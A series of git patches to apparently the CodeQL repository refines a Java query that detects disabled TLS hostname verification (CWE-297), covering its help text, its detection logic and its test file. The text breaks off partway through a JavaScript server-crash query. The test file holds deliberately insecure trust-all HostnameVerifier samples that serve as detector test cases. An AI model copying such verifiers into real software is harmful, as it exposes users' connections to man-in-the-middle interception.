deletions(-) diff --git a/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.qhelp b/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.qhelp index 71c28a93159..f8bfc87a9c3 100644 --- a/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.qhelp +++ b/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.qhelp @@ -15,14 +15,14 @@ An attack would look like this: 5. Java wants to reject the certificate because the hostname does not match. Before doing this it checks whether there exists a <code>HostnameVerifier</code>. 6. Your <code>HostnameVerifier</code> is called which returns <code>true</code> for any certificate so also for this one. 7. Java proceeds with the connection since your <code>HostnameVerifier</code> accepted it. -8. The attacker can now read the data (Man-in-the-middle) your program sends to <code>https://example.com</code> while the program thinks the connection is secure. +8. The attacker can now read the data your program sends to <code>https://example.com</code> and/or alter its replies while the program thinks the connection is secure. </p> </overview> <recommendation> <p> -Do NOT use an unverifying <code>HostnameVerifier</code>! -<li>If you use an unverifying verifier to solve a configuration problem with TLS/HTTPS you should solve the configuration problem instead. +Do not use an open <code>HostnameVerifier</code>. +<li>If you use an open verifier to solve a configuration problem with TLS/HTTPS you should solve the configuration problem instead. </li> </p> @@ -42,4 +42,4 @@ In the second (good) example, the <code>HostnameVerifier</code> only returns <co <li><a href="https://tersesystems.com/blog/2014/03/23/fixing-hostname-verification/">Further Information on Hostname Verification</a>.</li> <li>OWASP: <a href="https://cwe.mitre.org/data/definitions/297.html">CWE-297</a>.</li> </references> -</qhelp> \ No newline at end of file +</qhelp> diff --git a/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql b/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql index 2e47f501f7b..d8960558894 100644 --- a/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql +++ b/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql @@ -1,6 +1,6 @@ /** * @name Disabled hostname verification - * @description Accepting any certificate as valid for a host allows an attacker to perform a man-in-the-middle attack. + * @description Accepting any certificate as valid for a host allows an attacker to perform a machine-in-the-middle attack. * @kind path-problem * @problem.severity error * @precision high @@ -29,7 +29,7 @@ private predicate alwaysReturnsTrue(HostnameVerifierVerify m) { } /** - * A class that overrides the `javax.net.ssl.HostnameVerifier.verify` method and **always** returns `true` (ignoring exceptional flow), thus + * A class that overrides the `javax.net.ssl.HostnameVerifier.verify` method and **always** returns `true` (though it could also exit due to an uncaught exception), thus * accepting any certificate despite a hostname mismatch. */ class TrustAllHostnameVerifier extends RefType { From 355cb6eeecb08916936b9f32f61734ca8f3f9eea Mon Sep 17 00:00:00 2001 From: intrigus-lgtm <60750685+intrigus-lgtm@users.noreply.github.com> Date: Wed, 16 Dec 2020 15:24:30 +0100 Subject: [PATCH 0489/1241] Fix Qhelp format Co-authored-by: Felicity Chapman <felicitymay@github.com> --- .../src/Security/CWE/CWE-297/UnsafeHostnameVerification.qhelp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.qhelp b/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.qhelp index f8bfc87a9c3..cca6b6e4a5b 100644 --- a/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.qhelp +++ b/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.qhelp @@ -22,9 +22,9 @@ An attack would look like this: <recommendation> <p> Do not use an open <code>HostnameVerifier</code>. +</p> <li>If you use an open verifier to solve a configuration problem with TLS/HTTPS you should solve the configuration problem instead. </li> -</p> </recommendation> From 502e4c39f5ce6b894e2c5c532d30052b575affb4 Mon Sep 17 00:00:00 2001 From: intrigus <abc123zeus@live.de> Date: Fri, 18 Dec 2020 00:22:34 +0100 Subject: [PATCH 0490/1241] Java: Fix Qhelp --- .../src/Security/CWE/CWE-297/UnsafeHostnameVerification.qhelp | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.qhelp b/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.qhelp index cca6b6e4a5b..7bf87b34ad2 100644 --- a/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.qhelp +++ b/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.qhelp @@ -22,9 +22,8 @@ An attack would look like this: <recommendation> <p> Do not use an open <code>HostnameVerifier</code>. +If you use an open verifier to solve a configuration problem with TLS/HTTPS you should solve the configuration problem instead. </p> -<li>If you use an open verifier to solve a configuration problem with TLS/HTTPS you should solve the configuration problem instead. -</li> </recommendation> From b8f3e64a0fe6d82103fd50d64d73d432f2209df8 Mon Sep 17 00:00:00 2001 From: intrigus-lgtm <60750685+intrigus-lgtm@users.noreply.github.com> Date: Mon, 4 Jan 2021 20:06:12 +0100 Subject: [PATCH 0491/1241] Apply suggestions from code review Co-authored-by: Felicity Chapman <felicitymay@github.com> --- .../CWE-297/UnsafeHostnameVerification.qhelp | 36 +++++++++++-------- .../CWE/CWE-297/UnsafeHostnameVerification.ql | 2 +- 2 files changed, 22 insertions(+), 16 deletions(-) diff --git a/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.qhelp b/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.qhelp index 7bf87b34ad2..66b4153256b 100644 --- a/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.qhelp +++ b/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.qhelp @@ -5,24 +5,31 @@ <overview> <p> If a <code>HostnameVerifier</code> always returns <code>true</code> it will not verify the hostname at all. -This allows an attacker to perform a Man-in-the-middle attack against the application therefore breaking any security Transport Layer Security (TLS) gives. - -An attack would look like this: -1. The program connects to <code>https://example.com</code>. -2. The attacker intercepts this connection and presents one of their valid certificates they control, for example one from Let's Encrypt. -3. Java verifies that the certificate has been issued by a trusted certificate authority. -4. Java verifies that the certificate has been issued for the host <code>example.com</code>, which will fail because the certificate has been issued for <code>malicious.domain</code>. -5. Java wants to reject the certificate because the hostname does not match. Before doing this it checks whether there exists a <code>HostnameVerifier</code>. -6. Your <code>HostnameVerifier</code> is called which returns <code>true</code> for any certificate so also for this one. -7. Java proceeds with the connection since your <code>HostnameVerifier</code> accepted it. -8. The attacker can now read the data your program sends to <code>https://example.com</code> and/or alter its replies while the program thinks the connection is secure. +This stops Transport Layer Security (TLS) providing any security and allows an attacker to perform a Man-in-the-middle attack against the application. </p> + +<p> +An attack might look like this: +</p> + +<ol> + <li>The program connects to <code>https://example.com</code>.</li> + <li>The attacker intercepts this connection and presents one of their valid certificates they control, for example one from Let's Encrypt.</li> + <li>Java verifies that the certificate has been issued by a trusted certificate authority.</li> + <li>Java verifies that the certificate has been issued for the host <code>example.com</code>, which will fail because the certificate has been issued for <code>malicious.domain</code>.</li> + <li>Java wants to reject the certificate because the hostname does not match. Before doing this it checks whether there exists a <code>HostnameVerifier</code>.</li> + <li>Your <code>HostnameVerifier</code> is called which returns <code>true</code> for any certificate so also for this one.</li> + <li>Java proceeds with the connection since your <code>HostnameVerifier</code> accepted it.</li> + <li>The attacker can now read the data your program sends to <code>https://example.com</code> +and/or alter its replies while the program thinks the connection is secure.</li> +</ol> + </overview> <recommendation> <p> Do not use an open <code>HostnameVerifier</code>. -If you use an open verifier to solve a configuration problem with TLS/HTTPS you should solve the configuration problem instead. +If you have a configuration problem with TLS/HTTPS, you should always solve the configuration problem instead of using an open verifier. </p> </recommendation> @@ -37,8 +44,7 @@ In the second (good) example, the <code>HostnameVerifier</code> only returns <co </example> <references> -<li><a href="https://developer.android.com/training/articles/security-ssl">Android Security Guide for TLS/HTTPS</a>.</li> -<li><a href="https://tersesystems.com/blog/2014/03/23/fixing-hostname-verification/">Further Information on Hostname Verification</a>.</li> -<li>OWASP: <a href="https://cwe.mitre.org/data/definitions/297.html">CWE-297</a>.</li> +<li>Android developers: <a href="https://developer.android.com/training/articles/security-ssl">Security with HTTPS and SSL</a>.</li> +<li>Terse systems blog: <a href="https://tersesystems.com/blog/2014/03/23/fixing-hostname-verification/">Fixing Hostname Verification</a>.</li> </references> </qhelp> diff --git a/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql b/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql index d8960558894..f07d9da71d4 100644 --- a/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql +++ b/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql @@ -1,6 +1,6 @@ /** * @name Disabled hostname verification - * @description Accepting any certificate as valid for a host allows an attacker to perform a machine-in-the-middle attack. + * @description Marking a certificate as valid for a host without checking the certificate hostname allows an attacker to perform a machine-in-the-middle attack. * @kind path-problem * @problem.severity error * @precision high From e11304a1cad701c0df14e342322c9bc02ed16c85 Mon Sep 17 00:00:00 2001 From: intrigus <abc123zeus@live.de> Date: Tue, 5 Jan 2021 11:49:37 +0100 Subject: [PATCH 0492/1241] Java: Autoformat --- .../CWE/CWE-297/UnsafeHostnameVerification.ql | 2 - .../CWE-297/UnsafeHostnameVerification.java | 166 +++++++++--------- 2 files changed, 85 insertions(+), 83 deletions(-) diff --git a/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql b/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql index f07d9da71d4..f911d4b4b26 100644 --- a/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql +++ b/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql @@ -10,13 +10,11 @@ */ import java - import semmle.code.java.controlflow.Guards import semmle.code.java.dataflow.DataFlow import semmle.code.java.dataflow.FlowSources import semmle.code.java.dataflow.TaintTracking2 import semmle.code.java.security.Encryption - import DataFlow::PathGraph /** diff --git a/java/ql/test/query-tests/security/CWE-297/UnsafeHostnameVerification.java b/java/ql/test/query-tests/security/CWE-297/UnsafeHostnameVerification.java index 11f3cf65a2b..005271998ba 100644 --- a/java/ql/test/query-tests/security/CWE-297/UnsafeHostnameVerification.java +++ b/java/ql/test/query-tests/security/CWE-297/UnsafeHostnameVerification.java @@ -5,95 +5,99 @@ import java.security.cert.Certificate; public class UnsafeHostnameVerification { - private static final boolean DISABLE_VERIFICATION = true; + private static final boolean DISABLE_VERIFICATION = true; - /** - * Test the implementation of trusting all hostnames as an anonymous class - */ - public void testTrustAllHostnameOfAnonymousClass() { - HttpsURLConnection.setDefaultHostnameVerifier(new HostnameVerifier() { - @Override - public boolean verify(String hostname, SSLSession session) { - return true; // BAD, always returns true - } - }); - } + /** + * Test the implementation of trusting all hostnames as an anonymous class + */ + public void testTrustAllHostnameOfAnonymousClass() { + HttpsURLConnection.setDefaultHostnameVerifier(new HostnameVerifier() { + @Override + public boolean verify(String hostname, SSLSession session) { + return true; // BAD, always returns true + } + }); + } - /** - * Test the implementation of trusting all hostnames as a lambda. - */ - public void testTrustAllHostnameLambda() { - HttpsURLConnection.setDefaultHostnameVerifier((name, s) -> true); // BAD, always returns true - } + /** + * Test the implementation of trusting all hostnames as a lambda. + */ + public void testTrustAllHostnameLambda() { + HttpsURLConnection.setDefaultHostnameVerifier((name, s) -> true); // BAD, always returns true + } - /** - * Test an all-trusting hostname verifier that is guarded by a flag - */ - public void testGuardedByFlagTrustAllHostname() { - if (DISABLE_VERIFICATION) { - HttpsURLConnection.setDefaultHostnameVerifier(ALLOW_ALL_HOSTNAME_VERIFIER); // GOOD: The all-trusting - // hostname verifier is guarded - // by a feature flag - } - } + /** + * Test an all-trusting hostname verifier that is guarded by a flag + */ + public void testGuardedByFlagTrustAllHostname() { + if (DISABLE_VERIFICATION) { + HttpsURLConnection.setDefaultHostnameVerifier(ALLOW_ALL_HOSTNAME_VERIFIER); // GOOD: The all-trusting + // hostname verifier is guarded + // by a feature flag + } + } - public void testGuardedByFlagAccrossCalls() { - if (DISABLE_VERIFICATION) { - functionThatActuallyDisablesVerification(); - } - } + public void testGuardedByFlagAccrossCalls() { + if (DISABLE_VERIFICATION) { + functionThatActuallyDisablesVerification(); + } + } - private void functionThatActuallyDisablesVerification() { - HttpsURLConnection.setDefaultHostnameVerifier((name, s) -> true); // GOOD [but detected as BAD], because we only - // check guards inside a function - // and not accross function calls. This is considerer GOOD because the call to - // `functionThatActuallyDisablesVerification` is guarded by a feature flag in - // `testGuardedByFlagAccrossCalls`. - // Although this is not ideal as another function could directly call - // `functionThatActuallyDisablesVerification` WITHOUT checking the feature flag. - } + private void functionThatActuallyDisablesVerification() { + HttpsURLConnection.setDefaultHostnameVerifier((name, s) -> true); // GOOD [but detected as BAD], because we only + // check guards inside a function + // and not accross function calls. This is considerer GOOD because the call to + // `functionThatActuallyDisablesVerification` is guarded by a feature flag in + // `testGuardedByFlagAccrossCalls`. + // Although this is not ideal as another function could directly call + // `functionThatActuallyDisablesVerification` WITHOUT checking the feature flag. + } - public void testTrustAllHostnameDependingOnDerivedValue() { - String enabled = System.getProperty("disableHostnameVerification"); - if (Boolean.parseBoolean(enabled)) { - HttpsURLConnection.setDefaultHostnameVerifier((hostname, session) -> true); // GOOD, because it depends on a feature - // flag. - } - } + public void testTrustAllHostnameDependingOnDerivedValue() { + String enabled = System.getProperty("disableHostnameVerification"); + if (Boolean.parseBoolean(enabled)) { + HttpsURLConnection.setDefaultHostnameVerifier((hostname, session) -> true); // GOOD, because it depends on a + // feature + // flag. + } + } - public void testTrustAllHostnameWithExceptions() { - HostnameVerifier verifier = new HostnameVerifier() { - @Override - public boolean verify(String hostname, SSLSession session) { - verify(hostname, session.getPeerCertificates()); - return true; // GOOD [but detected as BAD]. The verification of the certificate is done in another method and - // in the case of a mismatch, an `Exception` is thrown so the `return true` statement never gets executed. - } + public void testTrustAllHostnameWithExceptions() { + HostnameVerifier verifier = new HostnameVerifier() { + @Override + public boolean verify(String hostname, SSLSession session) { + verify(hostname, session.getPeerCertificates()); + return true; // GOOD [but detected as BAD]. The verification of the certificate is done in + // another method and + // in the case of a mismatch, an `Exception` is thrown so the `return true` + // statement never gets executed. + } - // Black-box method that properly verifies the certificate but throws an `Exception` in the case of a mismatch. - private void verify(String hostname, Certificate[] certs){} - }; - HttpsURLConnection.setDefaultHostnameVerifier(verifier); - } + // Black-box method that properly verifies the certificate but throws an + // `Exception` in the case of a mismatch. + private void verify(String hostname, Certificate[] certs) { + } + }; + HttpsURLConnection.setDefaultHostnameVerifier(verifier); + } - /** - * Test the implementation of trusting all hostnames as a variable - */ - public void testTrustAllHostnameOfVariable() { - HostnameVerifier verifier = new HostnameVerifier() { - @Override - public boolean verify(String hostname, SSLSession session) { - return true; // BAD, always returns true - } - }; - HttpsURLConnection.setDefaultHostnameVerifier(verifier); - } + /** + * Test the implementation of trusting all hostnames as a variable + */ + public void testTrustAllHostnameOfVariable() { + HostnameVerifier verifier = new HostnameVerifier() { + @Override + public boolean verify(String hostname, SSLSession session) { + return true; // BAD, always returns true + } + }; + HttpsURLConnection.setDefaultHostnameVerifier(verifier); + } - public static final HostnameVerifier ALLOW_ALL_HOSTNAME_VERIFIER = new HostnameVerifier() { - @Override - public boolean verify(String hostname, SSLSession session) { - return true; // BAD, always returns true - } - }; + public static final HostnameVerifier ALLOW_ALL_HOSTNAME_VERIFIER = new HostnameVerifier() { + @Override + public boolean verify(String hostname, SSLSession session) { + return true; // BAD, always returns true + } + }; } - From f4b912cd8a949a3a5e1c1428603293f2a9a152e0 Mon Sep 17 00:00:00 2001 From: intrigus-lgtm <60750685+intrigus-lgtm@users.noreply.github.com> Date: Sat, 9 Jan 2021 23:15:19 +0100 Subject: [PATCH 0493/1241] Apply suggestions from doc review Co-authored-by: Felicity Chapman <felicitymay@github.com> --- .../CWE/CWE-297/UnsafeHostnameVerification.qhelp | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.qhelp b/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.qhelp index 66b4153256b..84d6e505075 100644 --- a/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.qhelp +++ b/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.qhelp @@ -5,7 +5,7 @@ <overview> <p> If a <code>HostnameVerifier</code> always returns <code>true</code> it will not verify the hostname at all. -This stops Transport Layer Security (TLS) providing any security and allows an attacker to perform a Man-in-the-middle attack against the application. +This stops Transport Layer Security (TLS) providing any security and allows an attacker to perform a man-in-the-middle attack against the application. </p> <p> @@ -14,10 +14,10 @@ An attack might look like this: <ol> <li>The program connects to <code>https://example.com</code>.</li> - <li>The attacker intercepts this connection and presents one of their valid certificates they control, for example one from Let's Encrypt.</li> - <li>Java verifies that the certificate has been issued by a trusted certificate authority.</li> - <li>Java verifies that the certificate has been issued for the host <code>example.com</code>, which will fail because the certificate has been issued for <code>malicious.domain</code>.</li> - <li>Java wants to reject the certificate because the hostname does not match. Before doing this it checks whether there exists a <code>HostnameVerifier</code>.</li> + <li>The attacker intercepts this connection and presents an apparently-valid certificate of their choosing.</li> + <li>The `TrustManager` of the program verifies that the certificate has been issued by a trusted certificate authority.</li> + <li>Java checks whether the certificate has been issued for the host <code>example.com</code>. This check fails because the certificate has been issued for a domain controlled by the attacker, for example: <code>malicious.domain</code>.</li> + <li>Java wants to reject the certificate because the hostname does not match. Before doing this it checks whether a <code>HostnameVerifier</code> exists.</li> <li>Your <code>HostnameVerifier</code> is called which returns <code>true</code> for any certificate so also for this one.</li> <li>Java proceeds with the connection since your <code>HostnameVerifier</code> accepted it.</li> <li>The attacker can now read the data your program sends to <code>https://example.com</code> From b4692734b28edb09d6b72d8a947233ec1b433467 Mon Sep 17 00:00:00 2001 From: intrigus <abc123zeus@live.de> Date: Thu, 7 Jan 2021 20:30:13 +0100 Subject: [PATCH 0494/1241] Java: Add QLDoc improve query message --- .../ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql | 4 ++-- java/ql/src/semmle/code/java/security/Encryption.qll | 3 +++ 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql b/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql index f911d4b4b26..b4776cfc127 100644 --- a/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql +++ b/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql @@ -115,5 +115,5 @@ where not isNodeGuardedByFlag(sink.getNode()) and verifier = source.getNode().asExpr().(ClassInstanceExpr).getConstructedType() select sink, source, sink, - "$@ that is defined $@ and accepts any certificate as valid, is used $@.", source, - "This hostname verifier", verifier, "here", sink, "here" + "$@ that is defined $@ and accepts any certificate as valid, is used here.", source, + "This hostname verifier", verifier, "here" diff --git a/java/ql/src/semmle/code/java/security/Encryption.qll b/java/ql/src/semmle/code/java/security/Encryption.qll index 4ab5a0f5be2..084254b5a41 100644 --- a/java/ql/src/semmle/code/java/security/Encryption.qll +++ b/java/ql/src/semmle/code/java/security/Encryption.qll @@ -29,6 +29,7 @@ class SSLContext extends RefType { SSLContext() { hasQualifiedName("javax.net.ssl", "SSLContext") } } +/** Models the `javax.net.ssl.SSLSession` class. */ class SSLSession extends RefType { SSLSession() { hasQualifiedName("javax.net.ssl", "SSLSession") } } @@ -37,6 +38,7 @@ class HostnameVerifier extends RefType { HostnameVerifier() { hasQualifiedName("javax.net.ssl", "HostnameVerifier") } } +/** Models the `verify` method of the class `javax.net.ssl.HostnameVerifier`. */ class HostnameVerifierVerify extends Method { HostnameVerifierVerify() { hasName("verify") and @@ -81,6 +83,7 @@ class SetHostnameVerifierMethod extends Method { } } +/** Models the `setDefaultHostnameVerifier` method of the class `javax.net.ssl.HttpsURLConnection`. */ class SetDefaultHostnameVerifierMethod extends Method { SetDefaultHostnameVerifierMethod() { hasName("setDefaultHostnameVerifier") and From 1eb2b7538941f9b6122bd65d3576ca048d535f2b Mon Sep 17 00:00:00 2001 From: intrigus <abc123zeus@live.de> Date: Sun, 10 Jan 2021 11:50:31 +0100 Subject: [PATCH 0495/1241] Java: Further reduce FPs, simply Flag2Guard flow --- .../CWE/CWE-297/UnsafeHostnameVerification.ql | 65 ++++++++++++++++--- 1 file changed, 57 insertions(+), 8 deletions(-) diff --git a/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql b/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql index b4776cfc127..d475194a60d 100644 --- a/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql +++ b/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql @@ -13,7 +13,6 @@ import java import semmle.code.java.controlflow.Guards import semmle.code.java.dataflow.DataFlow import semmle.code.java.dataflow.FlowSources -import semmle.code.java.dataflow.TaintTracking2 import semmle.code.java.security.Encryption import DataFlow::PathGraph @@ -58,28 +57,78 @@ class TrustAllHostnameVerifierConfiguration extends DataFlow::Configuration { ma.getArgument(0) = sink.asExpr() ) } + + override predicate isBarrier(DataFlow::Node barrier) { + // ignore nodes that are in functions that intentionally disable hostname verification + barrier + .getEnclosingCallable() + .getName() + /* + * Regex: (_)* : + * some methods have underscores. + * Regex: (no|ignore|disable)(strictssl|ssl|verify|verification|hostname) + * noStrictSSL ignoreSsl + * Regex: (set)?(accept|trust|ignore|allow)(all|every|any) + * acceptAll trustAll ignoreAll setTrustAnyHttps + * Regex: (use|do|enable)insecure + * useInsecureSSL + * Regex: (set|do|use)?no.*(check|validation|verify|verification) + * setNoCertificateCheck + * Regex: disable + * disableChecks + */ + + .regexpMatch("^(?i)(_)*((no|ignore|disable)(strictssl|ssl|verify|verification|hostname)" + + "|(set)?(accept|trust|ignore|allow)(all|every|any)" + + "|(use|do|enable)insecure|(set|do|use)?no.*(check|validation|verify|verification)|disable).*$") + } } bindingset[result] private string getAFlagName() { - result.regexpMatch("(?i).*(secure|(en|dis)able|selfCert|selfSign|validat|verif|trust|ignore).*") + result + .regexpMatch("(?i).*(secure|disable|selfCert|selfSign|validat|verif|trust|ignore|nocertificatecheck).*") +} + +/** + * A flag has to either be of type `String`, `boolean` or `Boolean`. + */ +private class FlagType extends Type { + FlagType() { + this instanceof TypeString + or + exists(BoxedType boxedBoolean | boxedBoolean.getPrimitiveType().hasName("boolean") | + this = boxedBoolean or this = boxedBoolean.getPrimitiveType() + ) + } +} + +private predicate isEqualsIgnoreCaseMethodAccess(MethodAccess ma) { + ma.getMethod().hasName("equalsIgnoreCase") and + ma.getMethod().getDeclaringType() instanceof TypeString } /** A configuration to model the flow of feature flags into `Guard`s. This is used to determine whether something is guarded by such a flag. */ -private class FlagTaintTracking extends TaintTracking2::Configuration { - FlagTaintTracking() { this = "FlagTaintTracking" } +private class FlagToGuardFlow extends DataFlow::Configuration { + FlagToGuardFlow() { this = "FlagToGuardFlow" } override predicate isSource(DataFlow::Node source) { - exists(VarAccess v | v.getVariable().getName() = getAFlagName() | source.asExpr() = v) + exists(VarAccess v | v.getVariable().getName() = getAFlagName() | + source.asExpr() = v and v.getType() instanceof FlagType + ) or exists(StringLiteral s | s.getRepresentedString() = getAFlagName() | source.asExpr() = s) or - exists(MethodAccess ma | ma.getMethod().getName() = getAFlagName() | source.asExpr() = ma) + exists(MethodAccess ma | ma.getMethod().getName() = getAFlagName() | + source.asExpr() = ma and + ma.getType() instanceof FlagType and + not isEqualsIgnoreCaseMethodAccess(ma) + ) } override predicate isSink(DataFlow::Node sink) { sink.asExpr() instanceof Guard } - override predicate isAdditionalTaintStep(DataFlow::Node node1, DataFlow::Node node2) { + override predicate isAdditionalFlowStep(DataFlow::Node node1, DataFlow::Node node2) { exists(MethodAccess ma | ma.getMethod() = any(EnvTaintedMethod m) | ma = node2.asExpr() and ma.getAnArgument() = node1.asExpr() ) @@ -95,7 +144,7 @@ private class FlagTaintTracking extends TaintTracking2::Configuration { /** Gets a guard that depends on a flag. */ private Guard getAGuard() { - exists(FlagTaintTracking cfg, DataFlow::Node source, DataFlow::Node sink | + exists(FlagToGuardFlow cfg, DataFlow::Node source, DataFlow::Node sink | cfg.hasFlow(source, sink) | sink.asExpr() = result From 5c1e746c96be1a5b3154e5a63c12deeda50adf44 Mon Sep 17 00:00:00 2001 From: intrigus <abc123zeus@live.de> Date: Mon, 11 Jan 2021 13:41:13 +0100 Subject: [PATCH 0496/1241] Java: Rename to `EnvReadMethod` --- .../Security/CWE/CWE-297/UnsafeHostnameVerification.ql | 2 +- java/ql/src/semmle/code/java/dataflow/FlowSources.qll | 8 ++++---- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql b/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql index d475194a60d..f17808864af 100644 --- a/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql +++ b/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql @@ -129,7 +129,7 @@ private class FlagToGuardFlow extends DataFlow::Configuration { override predicate isSink(DataFlow::Node sink) { sink.asExpr() instanceof Guard } override predicate isAdditionalFlowStep(DataFlow::Node node1, DataFlow::Node node2) { - exists(MethodAccess ma | ma.getMethod() = any(EnvTaintedMethod m) | + exists(MethodAccess ma | ma.getMethod() = any(EnvReadMethod m) | ma = node2.asExpr() and ma.getAnArgument() = node1.asExpr() ) or diff --git a/java/ql/src/semmle/code/java/dataflow/FlowSources.qll b/java/ql/src/semmle/code/java/dataflow/FlowSources.qll index 42aaf137220..4359fdbcbc2 100644 --- a/java/ql/src/semmle/code/java/dataflow/FlowSources.qll +++ b/java/ql/src/semmle/code/java/dataflow/FlowSources.qll @@ -226,7 +226,7 @@ class EnvInput extends LocalUserInput { ) or // Results from various specific methods. - this.asExpr().(MethodAccess).getMethod() instanceof EnvTaintedMethod + this.asExpr().(MethodAccess).getMethod() instanceof EnvReadMethod or // Access to `System.in`. exists(Field f | this.asExpr() = f.getAnAccess() | f instanceof SystemIn) @@ -292,9 +292,9 @@ private class SpringWebRequestGetMethod extends Method { } } -/** Models methods that are tainted by the environment of the user, such as `System.getProperty` or `System.getenv()`. */ -class EnvTaintedMethod extends Method { - EnvTaintedMethod() { +/** A method that reads from the environment, such as `System.getProperty` or `System.getenv`. */ +class EnvReadMethod extends Method { + EnvReadMethod() { this instanceof MethodSystemGetenv or this instanceof PropertiesGetPropertyMethod or this instanceof MethodSystemGetProperty From 2dbd762bd964650efe4cd409646490e3882fc267 Mon Sep 17 00:00:00 2001 From: Esben Sparre Andreasen <esbena@github.com> Date: Mon, 11 Jan 2021 14:13:41 +0100 Subject: [PATCH 0497/1241] JS: reintroduce reverted js/server-crash This reverts commit 0a8d15ccc4acad0ca63af6d39801aa90c7c41588. --- .../ql/src/Security/CWE-730/ServerCrash.qhelp | 22 ++++ .../ql/src/Security/CWE-730/ServerCrash.ql | 100 ++++++++++++++++++ .../Security/CWE-730/ServerCrash.expected | 6 ++ .../Security/CWE-730/ServerCrash.qlref | 1 + .../Security/CWE-730/server-crash.js | 73 +++++++++++++ 5 files changed, 202 insertions(+) create mode 100644 javascript/ql/src/Security/CWE-730/ServerCrash.qhelp create mode 100644 javascript/ql/src/Security/CWE-730/ServerCrash.ql create mode 100644 javascript/ql/test/query-tests/Security/CWE-730/ServerCrash.expected create mode 100644 javascript/ql/test/query-tests/Security/CWE-730/ServerCrash.qlref create mode 100644 javascript/ql/test/query-tests/Security/CWE-730/server-crash.js diff --git a/javascript/ql/src/Security/CWE-730/ServerCrash.qhelp b/javascript/ql/src/Security/CWE-730/ServerCrash.qhelp new file mode 100644 index 00000000000..c3258c4e5f1 --- /dev/null +++ b/javascript/ql/src/Security/CWE-730/ServerCrash.qhelp @@ -0,0 +1,22 @@ +<!DOCTYPE qhelp PUBLIC + "-//Semmle//qhelp//EN" + "qhelp.dtd"> +<qhelp> + + <overview> + + </overview> + + <recommendation> + + </recommendation> + + <example> + + </example> + + <references> + + </references> + +</qhelp> diff --git a/javascript/ql/src/Security/CWE-730/ServerCrash.ql b/javascript/ql/src/Security/CWE-730/ServerCrash.ql new file mode 100644 index 00000000000..8db7574d6c9 --- /dev/null +++ b/javascript/ql/src/Security/CWE-730/ServerCrash.ql @@ -0,0 +1,100 @@ +/** + * @name Server crash + * @description A server that can be forced to crash may be vulnerable to denial-of-service + * attacks. + * @kind problem + * @problem.severity error + * @precision high + * @id js/server-crash + * @tags security + * external/cwe/cwe-730 + */ + +import javascript + +/** + * Gets a function that `caller` invokes. + */ +Function getACallee(Function caller) { + exists(DataFlow::InvokeNode invk | + invk.getEnclosingFunction() = caller and result = invk.getACallee() + ) +} + +/** + * Gets a function that `caller` invokes, excluding calls guarded in `try`-blocks. + */ +Function getAnUnguardedCallee(Function caller) { + exists(DataFlow::InvokeNode invk | + invk.getEnclosingFunction() = caller and + result = invk.getACallee() and + not exists(invk.asExpr().getEnclosingStmt().getEnclosingTryCatchStmt()) + ) +} + +predicate isHeaderValue(HTTP::ExplicitHeaderDefinition def, DataFlow::Node node) { + def.definesExplicitly(_, node.asExpr()) +} + +class Configuration extends TaintTracking::Configuration { + Configuration() { this = "Configuration" } + + override predicate isSource(DataFlow::Node node) { node instanceof RemoteFlowSource } + + override predicate isSink(DataFlow::Node node) { + // using control characters in a header value will cause an exception + isHeaderValue(_, node) + } +} + +predicate isLikelyToThrow(DataFlow::Node crash) { + exists(Configuration cfg, DataFlow::Node sink | cfg.hasFlow(_, sink) | isHeaderValue(crash, sink)) +} + +/** + * A call that looks like it is asynchronous. + */ +class AsyncCall extends DataFlow::CallNode { + DataFlow::FunctionNode callback; + + AsyncCall() { + 